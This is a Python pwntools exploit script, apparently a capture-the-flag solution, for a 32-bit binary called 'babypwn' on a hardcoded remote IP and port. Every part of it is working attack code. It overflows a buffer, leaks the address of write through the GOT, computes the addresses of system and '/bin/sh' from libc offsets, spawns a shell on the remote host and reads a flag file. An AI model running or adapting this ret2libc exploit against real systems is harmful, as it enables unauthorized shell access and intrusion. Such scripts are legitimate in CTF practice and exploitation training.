#!/usr/bin/env python
from pwn import *
import os

#os.environ['LD_PRELOAD'] = './bin/libc.so.6_32'

#context.log_level = 'debug'
elf = ELF('./bin/babypwn')

plt_write = elf.plt['write']
got_write = elf.got['write']


DEBUG=0

if DEBUG:
	p = process("./bin/babypwn")
	system_offset = 0x40310
	write_offset = 0xdafe0
	binsh_offset = 0x16084c
else:
	#libc = ELF('./bin/libc.so.6_32')
	write_offset = 0xd9900 #libc.got['write']
	system_offset = 0x3fe70 #libc.got['system']
	binsh_offset = 0x15da8c #next(libc.search('/bin/sh'))
	ip = "202.120.7.114"
	port = 10101
	p = remote(ip, port)


def exp():
	p.recvuntil("Pwn me if you can:\n")
	#raw_input("bp")
	payload = 'a'*20
	payload += p32(plt_write)
	payload += p32(0x0804847d) #main
	payload += p32(1)
	payload += p32(got_write)
	payload += p32(4)
	p.sendline(payload)

	write_addr = u32(p.recv(4))
	print "write_addr =>",hex(write_addr)
	system_addr = write_addr - write_offset + system_offset
	binsh_addr = write_addr - write_offset + binsh_offset
	p.recvuntil("Pwn me if you can:\n")
	payload = 'a'*12
	payload += p32(system_addr) #pop pop pop ret
	payload += p32(0)
	payload += p32(binsh_addr)
	p.sendline(payload)
	p.sendline('cat /home/babypwn/flag')
	print p.recvuntil('\n')
	p.close()
	#p.interactive()


exp()
